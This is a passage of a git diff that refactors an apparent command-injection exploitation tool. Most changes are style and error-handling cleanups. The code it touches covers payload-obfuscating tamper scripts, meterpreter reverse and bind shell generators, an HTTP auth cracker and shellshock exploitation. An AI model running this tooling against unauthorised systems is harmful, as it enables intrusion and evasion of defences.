settings.INJECTION_TECHNIQUE.CLASSIC: try: import html unescape = html.unescape - except: # Python 2 + except ImportError: # Python 2 unescape = _html_parser.HTMLParser().unescape # Check the execution results html_data = checks.process_page_content(response, action="decode") @@ -1464,7 +1464,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times try: import html unescape = html.unescape - except: # Python 2 + except ImportError: # Python 2 unescape = _html_parser.HTMLParser().unescape false_result = False try: @@ -1535,7 +1535,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) try: response = checks.get_response(output) - if type(response) is bool and response != True or response is None: + if type(response) is bool and response is not True or response is None: shell = "" else: shell = checks.process_page_content(response, action="encode").rstrip().lstrip() diff --git a/src/core/controller/shell_options.py b/src/core/controller/shell_options.py index f9b1572c7c..0a90594f8a 100755 --- a/src/core/controller/shell_options.py +++ b/src/core/controller/shell_options.py @@ -302,9 +302,9 @@ def launch(cmd): def check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): os_shell_option = checks.check_os_shell_options(cmd.lower(), filename, url) - if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: + if os_shell_option == "back" or os_shell_option is True or os_shell_option is False: go_back = True - if os_shell_option == False: + if os_shell_option is False: go_back_again = True return go_back, go_back_again diff --git a/src/core/convert.py b/src/core/convert.py index 2954082678..4556bdd6eb 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -27,16 +27,14 @@ def hexdecode(value): try: value = codecs.decode(''.join(value.split()), "hex") except binascii.Error: - _ = False - return value, _ + return value, False except LookupError: value = binascii.unhexlify(value) + # Not every sequence of bytes is text, so whether it decoded is the caller's to check. try: - value = value.decode(settings.DEFAULT_CODEC) - _ = True - except: - _ = False - return value, _ + return value.decode(settings.DEFAULT_CODEC), True + except UnicodeDecodeError: + return value, False """ Encode string to hex @@ -48,8 +46,7 @@ def hexencode(value): value = codecs.encode(value, "hex") except LookupError: value = binascii.hexlify(value) - value = value.decode(settings.DEFAULT_CODEC) - _ = True - return value, _ + # Every byte has a hex form, so unlike 'hexdecode' there is no outcome to report back. + return value.decode(settings.DEFAULT_CODEC) # eof diff --git a/src/core/main.py b/src/core/main.py index 9e80fc4bf9..9679bcf364 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -226,7 +226,7 @@ def redirect_probe_request(url, http_request_method): debug_msg = "Setting the HTTP authentication type and credentials." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - _ = None + from_http_error = None response = None redirect_url = None @@ -258,7 +258,7 @@ def redirect_probe_request(url, http_request_method): redirect_url = response.geturl() except _urllib.error.HTTPError as e: - _ = True + from_http_error = True redirect_url = e.geturl() except Exception as err_msg: @@ -267,7 +267,7 @@ def redirect_probe_request(url, http_request_method): if redirect_url and redirect_url != url and settings.FOLLOW_REDIRECT: redirect_url = redirection.do_check(url, redirect_url) if redirect_url is not None and settings.FOLLOW_REDIRECT: - if _: + if from_http_error: url = redirect_url # Build the real request (full data) now that the final URL is known. @@ -290,7 +290,7 @@ def redirect_probe_request(url, http_request_method): def url_response(url, http_request_method): if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False - if settings.INIT_TEST == True: + if settings.INIT_TEST is True: info_msg = "Testing connection to the target URL. " settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) @@ -454,10 +454,7 @@ def with_is_last(iterable): Check if an injection point has already been detected against target. """ def check_for_injected_url(url): - _ = True - if _urllib.parse.urlparse(url).netloc not in settings.CRAWLED_URLS_INJECTED: - _ = False - return _ + return _urllib.parse.urlparse(url).netloc in settings.CRAWLED_URLS_INJECTED """ Ask whether to skip further tests against a host where an injection point was already found. @@ -501,7 +498,7 @@ def scan_parsed_targets(os_checks_num): init_injection(url) try: response, url = url_response(url, http_request_method) - if response != False: + if response is not False: filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) main(filename, url, http_request_method) @@ -695,7 +692,7 @@ def main(filename, url, http_request_method): found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ - found_tech == False: + found_tech is False: err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " err_msg += "The value for option '" @@ -835,7 +832,7 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) # Get total number of days from last update - if settings.STABLE_RELEASE == False: + if settings.STABLE_RELEASE is False: common.days_from_last_update() # Check if specified wrong alternative interpreter @@ -1233,7 +1230,7 @@ def _time_limit_reached(signum, frame): # Skip upfront detection-only probes below when a stored technique already exists. settings.LIKELY_RESUME = session_handler.has_any_stored_technique(url, http_request_method) response, url = url_response(url, http_request_method) - if response != False: + if response is not False: filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) main(filename, url, http_request_method) @@ -1252,12 +1249,12 @@ def _time_limit_reached(signum, frame): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not os.path.exists(bulkfile): - err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file does not exist." + err_msg = "It seems the '" + bulkfile + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif os.stat(bulkfile).st_size == 0: - err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file is empty." + err_msg = "It seems the '" + bulkfile + "' file is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1265,7 +1262,15 @@ def _time_limit_reached(signum, frame): settings.MULTI_TARGETS = True menu.options.batch = True with open(menu.options.bulkfile, encoding="utf-8-sig") as f: - bulkfile = [x for x in (parse_target_line(url) for url in f) if x] + lines = [line for line in f if line.strip() and not line.lstrip().startswith("#")] + bulkfile = [x for x in (parse_target_line(line) for line in lines) if x] + # A line that names no usable target is dropped, and a list is long enough that dropping + # one quietly would never be noticed - so how many went is said before the run starts. + skipped = len(lines) - len(bulkfile) + if skipped: + warn_msg = "Skipped " + str(skipped) + " line" + ("s" if skipped > 1 else "") + warn_msg += " that named no target within scope." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Check if option "--crawl" is enabled. if settings.CRAWLING: @@ -1420,7 +1425,7 @@ def _dedupe_lazy(iterable): init_injection(form_url) try: response, form_url = url_response(form_url, settings.HTTPMETHOD.POST) - if response != False: + if response is not False: filename = logs.logs_filename_creation(form_url) session_handler.restore_waf_status(form_url) main(filename, form_url, settings.HTTPMETHOD.POST) @@ -1489,7 +1494,7 @@ def _dedupe_lazy(iterable): init_injection(url) try: response, url = url_response(url, http_request_method) - if response != False: + if response is not False: filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) main(filename, url, http_request_method) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 26a2c42338..f7d24c025d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -185,7 +185,7 @@ def _post_exploitation(url, cve, check_header, filename, technique, no_result): else: enumeration(url, cve, check_header, filename) - if settings.FILE_ACCESS_DONE == True: + if settings.FILE_ACCESS_DONE is True: checks.ask_redo_stored_session("access files", lambda: file_access(url, cve, check_header, filename)) else: file_access(url, cve, check_header, filename) @@ -304,7 +304,7 @@ def shellshock_handler(url, http_request_method, filename): if settings.CONFIRMED_INJECTION_POINTS: checks.quit(filename, url, hard_exit=False) - elif no_result == True: + elif no_result is True: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 0e5db41ba3..1f88c3b983 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -41,7 +41,6 @@ def banner(): Copyright © """ + settings.YEAR + """ """ + settings.AUTHOR + Style.RESET_ALL + """ (""" + Fore.LIGHTRED_EX + settings.AUTHOR_X_ACCOUNT + Style.RESET_ALL + """) """) -_ = os.path.normpath(sys.argv[0]) usage = "python %prog [option(s)]" @@ -772,14 +771,14 @@ def banner(): """ Truncate long option strings so they don't wrap onto a second line. """ -def _(self, *args): - _ = parser.formatter._format_option_strings(*args) - if len(_) > settings.MAX_OPTION_LENGTH: - _ = ("%%.%ds.." % (settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment)) % _ - return _ +def truncate_option_strings(self, *args): + formatted = parser.formatter._format_option_strings(*args) + if len(formatted) > settings.MAX_OPTION_LENGTH: + formatted = ("%%.%ds.." % (settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment)) % formatted + return formatted parser.formatter._format_option_strings = parser.formatter.format_option_strings -parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) +parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(truncate_option_strings, parser) option = parser.get_option("-h") option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") diff --git a/src/core/parse/request.py b/src/core/parse/request.py index 91eb2ba690..2ad6e9c456 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -37,9 +37,9 @@ def _extract_header_value(header_name, line): Error message for invalid data. """ def _invalid_data(request_file): - err_msg = "Specified file " - err_msg += "'" + os.path.split(request_file)[1] + "'" - err_msg += " does not contain a valid HTTP request." + err_msg = "It seems the " + err_msg += "'" + request_file + "'" + err_msg += " file does not contain a valid HTTP request." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/core/requests/cookies.py b/src/core/requests/cookies.py index 52f40517ee..33d38084fb 100644 --- a/src/core/requests/cookies.py +++ b/src/core/requests/cookies.py @@ -109,9 +109,9 @@ def mask_cookie_value(cookie_str): added_cookies = set() for header, value in response.getheaders(): if header.lower() == settings.SET_COOKIE.lower(): - _ = re.search(r'^\s*([^=;\s]+=[^;]*)', value) - if _: - name_value = _.group(1) + first_pair = re.search(r'^\s*([^=;\s]+=[^;]*)', value) + if first_pair: + name_value = first_pair.group(1) cookie_name = name_value.split("=")[0] if cookie_name not in declared_cookies and cookie_name not in added_cookies: set_cookie_header.append(name_value) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 109e4730b6..bb4f4d8bb9 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -257,26 +257,26 @@ def https_open(self, req): if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): raise SystemExit() - _ = False + succeeded = False response = False unauthorized = False pending_error = None - while stability.should_keep_retrying(_, unauthorized): + while stability.should_keep_retrying(succeeded, unauthorized): if any((settings.REVERSE_TCP, settings.BIND_TCP)): - _ = True + succeeded = True if settings.MULTI_TARGETS or settings.CRAWLING: - if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: + if settings.INIT_TEST is True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: # A per-parameter auto-detected tamper (e.g. hexencode from check_encoders()) must not # leak into the next target/form - reset back to only what the user actually gave. settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_APPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) - _ = True + succeeded = True with settings.REQUESTS_LOCK: stability.expand_retry_budget() - if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ - (settings.INIT_TEST == True and settings.MULTI_TARGETS): + if (settings.INIT_TEST is True and not settings.UNAUTHORIZED) or \ + (settings.INIT_TEST is True and settings.MULTI_TARGETS): if not settings.VALID_URL: stability.mark_url_valid() if not settings.CHECK_INTERNET: @@ -530,8 +530,8 @@ def do_check(request): extra_headers = tmp_extra_header # Remove empty strings and/or duplicates - _ = [x for x in extra_headers if x] - extra_headers = (list(dict.fromkeys(_))) + non_empty = [x for x in extra_headers if x] + extra_headers = (list(dict.fromkeys(non_empty))) if menu.options.data: # The MIME media type for JSON. @@ -591,7 +591,7 @@ def do_check(request): normalized_name = '-'.join([part.capitalize() for part in http_header_name.split('-')]) request.add_header(normalized_name, http_header_value) - except: + except Exception: pass # eof diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 68bbb9650a..a6457fc186 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -173,9 +173,9 @@ def do_GET_check(url, http_request_method): if checks.is_empty(multi_parameters, http_request_method): return urls_list # Grab the value of parameter. - _ = [] - _.append(parameters) - parameters = ''.join(checks.check_similarities(_)) + single = [] + single.append(parameters) + parameters = ''.join(checks.check_similarities(single)) value = multi_params_get_value(parameters) # Check if single parameter is supplied. if len(multi_parameters) == 1: @@ -374,17 +374,17 @@ def json_int_check(parameter, value): # Fall back to the raw value if JSON formatting fails. return parameter - _ = True + tag_free_keys = True if isinstance(parameter, list): parameter = parameter[(len(parameter) - 1)] if isinstance(parameter, OrderedDict): for keys,values in parameter.items(): if settings.INJECT_TAG in keys: - _ = False + tag_free_keys = False break - if _ and isinstance(parameter, OrderedDict): + if tag_free_keys and isinstance(parameter, OrderedDict): parameter = unflatten_list(parameter) parameter = checks.format_json(parameter) @@ -445,12 +445,12 @@ def split_post_parameters(parameter): # Shield leaf elements before the ">"/"<" split below. parameter, _shielded = shield_xml_leaves(parameter) parameter = re.sub(r">\s*<", ">" + settings.POST_DATA_PARAM_DELIMITER + "<", parameter) - _ = [] + kept = [] parameters = re.findall(r'(.*)', parameter) parameters = [param for param in parameters if param] for value in range(0,len(parameters)): - _.append(parameters[value]) - multi_parameters = _ + kept.append(parameters[value]) + multi_parameters = kept # Restore per entry (elements may contain newlines). if _shielded: multi_parameters = restore_xml_shields(multi_parameters, _shielded) @@ -605,9 +605,9 @@ def do_POST_check(parameter, http_request_method): multi_parameters, parameter = split_post_parameters(parameter) - _ = [] - _.append(parameter) - parameter = ''.join(checks.check_similarities(_)) + single = [] + single.append(parameter) + parameter = ''.join(checks.check_similarities(single)) # Check if single parameter is supplied. if len(multi_parameters) == 1: return handle_single_post_parameter(parameter, multi_parameters, http_request_method) @@ -658,10 +658,10 @@ def vuln_POST_param(parameter, url): if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") # Match tag name (tolerating attributes) against its closing tag. - _ = re.search(r'<([^\s>/]+)[^>]*>(.*)</([^\s>]+)>', item, re.S) - if _ and (_.groups()[0]) == (_.groups()[2]): - vuln_parameter = ''.join(_.groups()[0]) - result = unwrap_cdata(_.groups()[1]) + element = re.search(r'<([^\s>/]+)[^>]*>(.*)</([^\s>]+)>', item, re.S) + if element and (element.groups()[0]) == (element.groups()[2]): + vuln_parameter = ''.join(element.groups()[0]) + result = unwrap_cdata(element.groups()[1]) if settings.CUSTOM_INJECTION_MARKER: register_custom_injection_marker(vuln_parameter, result) settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] @@ -762,9 +762,9 @@ def do_cookie_check(cookie): if len([s for s in multi_parameters if "=" in s]) == 0 and not menu.options.shellshock: checks.no_parameters_found() - _ = [] - _.append(cookie) - cookie = ''.join(checks.check_similarities(_)) + single = [] + single.append(cookie) + cookie = ''.join(checks.check_similarities(single)) # Grab the value of parameter. value = multi_params_get_value(cookie) # Replace the value of parameter with INJECT tag diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ee7a781cd8..d3fc834d55 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -171,7 +171,6 @@ def quick_response_time_sample(url, http_request_method): """ def _measure_response_time_with_auth_handling(url, http_request_method): stored_auth_creds = False - _ = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " @@ -190,7 +189,6 @@ def _measure_response_time_with_auth_handling(url, http_request_method): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() - _ = True except _http_client.InvalidURL as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -267,7 +265,7 @@ def _measure_response_time_with_auth_handling(url, http_request_method): do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) - if auth_creds != False: + if auth_creds is not False: # Put to use, not only announced: what builds the Authorization header for # every request after this is the option, so a pair found and left there # would have the run carry on unauthenticated against a target that just @@ -300,7 +298,7 @@ def _measure_response_time_with_auth_handling(url, http_request_method): do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) - if auth_creds != False: + if auth_creds is not False: # Put to use, not only announced: what builds the Authorization header for # every request after this is the option, so a pair found and left there # would have the run carry on unauthenticated against a target that just @@ -520,7 +518,7 @@ def request_failed(err_msg): any(checks.ignored_http_error_code(_) for _ in settings.HTTP_ERROR_CODES if _ in str(error_msg)): return False - elif settings.IGNORE_ERR_MSG == False: + elif settings.IGNORE_ERR_MSG is False: continue_tests = checks.continue_tests(err_msg) if continue_tests: settings.IGNORE_ERR_MSG = True diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index f906f206ad..a84b97285e 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -135,7 +135,7 @@ def gen_php_meterpreter_bind(): other_shell = "php -r \"" + data + "\"" checks.msf_launch_msg(output) return other_shell - except: + except Exception: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return None @@ -163,7 +163,7 @@ def gen_python_meterpreter_bind(): other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" checks.msf_launch_msg(output) return other_shell - except: + except Exception: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return None diff --git a/src/core/shells/modes.py b/src/core/shells/modes.py index 56a2a93afd..24ed353f82 100644 --- a/src/core/shells/modes.py +++ b/src/core/shells/modes.py @@ -158,7 +158,7 @@ def _handle_run(mode, selected_module, separator): if result is None: return None - if settings.EVAL_BASED_STATE != False: + if settings.EVAL_BASED_STATE is not False: result = checks.escape_unquoted_dollars(result) settings.LAST_SELECTED_MODULE = selected_module diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 4b6e9be212..10fa0bb388 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -225,7 +225,7 @@ def gen_php_meterpreter_reverse(): other_shell = "php -r \"" + data + "\"" checks.msf_launch_msg(output) return other_shell - except: + except Exception: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return None @@ -253,7 +253,7 @@ def gen_python_meterpreter_reverse(): other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" checks.msf_launch_msg(output) return other_shell - except: + except Exception: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return None diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py index 57844578b9..6a0df93d68 100755 --- a/src/core/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -104,7 +104,7 @@ def decision_combined_alter_interpreter(separator, tags, OUTPUT_TEXTFILE): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): - if settings.TFB_DECIMAL == True: + if settings.TFB_DECIMAL is True: payload = (separator + cmd) elif settings.TARGET_OS == settings.OS.WINDOWS: diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py index a5adf77e6b..7973748e6a 100755 --- a/src/core/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -50,7 +50,7 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time # is what the first timing is read against, so filling it belongs with settling into '/tmp/'. checks.warm_up_response_baseline(url, http_request_method) - if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: + if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) is False: settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False return False diff --git a/src/core/techniques/time_based/tb_handler.py b/src/core/techniques/time_based/tb_handler.py index fd311a9de2..4b0c7d504f 100755 --- a/src/core/techniques/time_based/tb_handler.py +++ b/src/core/techniques/time_based/tb_handler.py @@ -41,7 +41,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, settings.RESPONSE_DELAYS = True go_back = False while True: - if go_back == True: + if go_back is True: return False message = "High response delays make time-related techniques unreliable. " message += "How do you want to proceed? [(C)ontinue/(s)kip] " @@ -49,7 +49,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": result = tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) - if result == False: + if result is False: return False # Return when a technique was resumed or found; only False should continue prompting. return result @@ -63,7 +63,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, common.invalid_option(proceed_option) pass else: - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) is False: settings.TIME_RELATED_ATTACK = False return False # eof diff --git a/src/core/testing.py b/src/core/testing.py index 33f8deeb03..d9e89b3a66 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -23,7 +23,7 @@ def smoke_test(): info_msg = "Executing smoke test." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - _ = True + passed = True file_paths = [] for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) @@ -42,10 +42,10 @@ def smoke_test(): except Exception as e: error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - _ = False + passed = False result = "Smoke test " - if _: + if passed: result = result + "passed." settings.print_data_to_stdout(settings.print_bold_info_msg(result)) else: diff --git a/src/tamper/backslashes.py b/src/tamper/backslashes.py index 0fa1ac384f..83e7083685 100644 --- a/src/tamper/backslashes.py +++ b/src/tamper/backslashes.py @@ -16,7 +16,7 @@ from src.utils import settings from src.core.controller import checks -""" +r""" About: Adds back slashes (\) between the characters in a given payload. Notes: This tamper script works against target(s) with a POSIX shell. """ @@ -28,8 +28,9 @@ def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) +obf_char = "\\" + if not settings.TAMPER_SCRIPTS[__tamper__]: - obf_char = "\\" settings.TAMPER_SCRIPTS[__tamper__] = True # Put a back slash between the characters, which the shell reads straight through. diff --git a/src/tamper/backticks.py b/src/tamper/backticks.py index 097e71e767..2d4d47c0a4 100644 --- a/src/tamper/backticks.py +++ b/src/tamper/backticks.py @@ -38,8 +38,9 @@ def tamper(payload): if not menu.options.interpreter and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" - payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", - settings.CMD_SUB_PREFIX + "expr" + settings.WHITESPACES[0] + "length" + settings.WHITESPACES[0] + "\"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + whitespace = checks.current_whitespace() + payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", + settings.CMD_SUB_PREFIX + "expr" + whitespace + "length" + whitespace + "\"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX ) return payload diff --git a/src/tamper/caret.py b/src/tamper/caret.py index 7ec533786a..277dd99d6b 100644 --- a/src/tamper/caret.py +++ b/src/tamper/caret.py @@ -32,6 +32,16 @@ def dependencies(): if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True +""" +The length beyond which a single word is handed over as it was written. + +A caret before every letter is one more character per letter, so the word it is applied to arrives +at roughly twice the length. cmd.exe stops reading a command line at 8191 characters, and a word +this long is already close enough that doubling it would take the payload past that, losing the +end of it - which costs more than the obfuscation of one word is worth. +""" +MAX_CARET_WORD_LENGTH = 5000 + # Put a caret between the characters, which cmd.exe reads straight through. def tamper(payload): # The carets themselves, kept out of the quoted words that must survive whole. @@ -39,7 +49,7 @@ def add_caret_symbol(payload): words = re.findall(r"\w+", payload) if words: longest_word = max(words, key=len) - long_string = longest_word if len(longest_word) >= 5000 else "" + long_string = longest_word if len(longest_word) >= MAX_CARET_WORD_LENGTH else "" rep = { "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', diff --git a/src/tamper/cmd2loop.py b/src/tamper/cmd2loop.py index e5c67c85e3..326d4ee8b5 100644 --- a/src/tamper/cmd2loop.py +++ b/src/tamper/cmd2loop.py @@ -72,7 +72,7 @@ def _split_comment(body): return body, "" body = body[:len(body) - len(settings.COMMENT)] # Whitespace substitution has already run, so the space before it is whatever is now in use. - space = settings.WHITESPACES[0] if settings.WHITESPACES else settings.SINGLE_WHITESPACE + space = checks.current_whitespace() if body.endswith(space): body = body[:len(body) - len(space)] # It goes back after a tab: "done" must remain a separate keyword for the loop to parse correctly. diff --git a/src/tamper/dollaratsigns.py b/src/tamper/dollaratsigns.py index 6f9601ab21..891a466da8 100644 --- a/src/tamper/dollaratsigns.py +++ b/src/tamper/dollaratsigns.py @@ -28,8 +28,9 @@ def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) +obf_char = "$@" + if not settings.TAMPER_SCRIPTS[__tamper__]: - obf_char = "$@" settings.TAMPER_SCRIPTS[__tamper__] = True # Put an empty '$@' between the characters, which the shell expands to nothing. diff --git a/src/tamper/doublequotes.py b/src/tamper/doublequotes.py index 74dbe7db27..59f1619f01 100644 --- a/src/tamper/doublequotes.py +++ b/src/tamper/doublequotes.py @@ -29,8 +29,9 @@ def dependencies(): return checks.tamper_dep_eval_incompatible(__tamper__) +obf_char = '""' + if not settings.TAMPER_SCRIPTS[__tamper__]: - obf_char = '""' settings.TAMPER_SCRIPTS[__tamper__] = True """ diff --git a/src/tamper/hexencode.py b/src/tamper/hexencode.py index a2a07678a0..cb2f943190 100644 --- a/src/tamper/hexencode.py +++ b/src/tamper/hexencode.py @@ -40,9 +40,6 @@ def dependencies(): def tamper(payload): checks.tamper_check_space2plus_conflict(__tamper__) payload = _urllib.parse.unquote(payload) - encoded_payload, _ = hexencode(payload) - if _: - payload = encoded_payload - return payload + return hexencode(payload) # eof diff --git a/src/tamper/printf2echo.py b/src/tamper/printf2echo.py index 5644e1aa50..2f6fee068f 100644 --- a/src/tamper/printf2echo.py +++ b/src/tamper/printf2echo.py @@ -36,8 +36,9 @@ def tamper(payload): # The rewrite itself, for the one shape this project's payloads use printf in. def printf_to_echo(payload): if "printf" in payload: - payload = payload.replace(settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX, - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$" + settings.RANDOM_VAR_GENERATOR + "2" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs" + settings.CMD_SUB_SUFFIX + space = checks.current_whitespace() + payload = payload.replace(settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf" + space + "'%d'" + space + "\"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX, + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo" + space + "-n" + space + "$" + settings.RANDOM_VAR_GENERATOR + "2" + space + "|" + space + "od" + space + "-An" + space + "-tuC" + space + "|" + space + "xargs" + settings.CMD_SUB_SUFFIX ) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/tamper/randomcase.py b/src/tamper/randomcase.py index 55e4dccaf7..88a772830f 100644 --- a/src/tamper/randomcase.py +++ b/src/tamper/randomcase.py @@ -36,19 +36,19 @@ def dependencies(): # Vary the case of the payload's letters, where the shell does not care about it. def tamper(payload): - _ = (''.join(choice((str.upper, str.lower))(c) for c in settings.USER_APPLIED_CMD)) + mixed_case = ''.join(choice((str.upper, str.lower))(char) for char in settings.USER_APPLIED_CMD) if settings.EXPLOITATION_PHASE: if settings.TAMPER_SCRIPTS["rev"]: if settings.USE_BACKTICKS: - _ = _[::-1] + "|rev" + mixed_case = mixed_case[::-1] + "|rev" else: - _ = "$(echo \"" + _[::-1] + "\"|rev" + ")" + mixed_case = "$(echo \"" + mixed_case[::-1] + "\"|rev)" source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD if settings.USER_APPLIED_CMD in source: if settings.USE_BACKTICKS: - random_case_cmd = "\\`echo " + _ + "|tr '[A-Z]' '[a-z]'\\`" + random_case_cmd = "\\`echo " + mixed_case + "|tr '[A-Z]' '[a-z]'\\`" else: - random_case_cmd = "$(echo " + _ + "|tr '[A-Z]' '[a-z]')" + random_case_cmd = "$(echo " + mixed_case + "|tr '[A-Z]' '[a-z]')" # Applied to the payload as handed over, not to the untouched original: the scripts run in # order, and reaching back past the ones before would throw their work away. payload 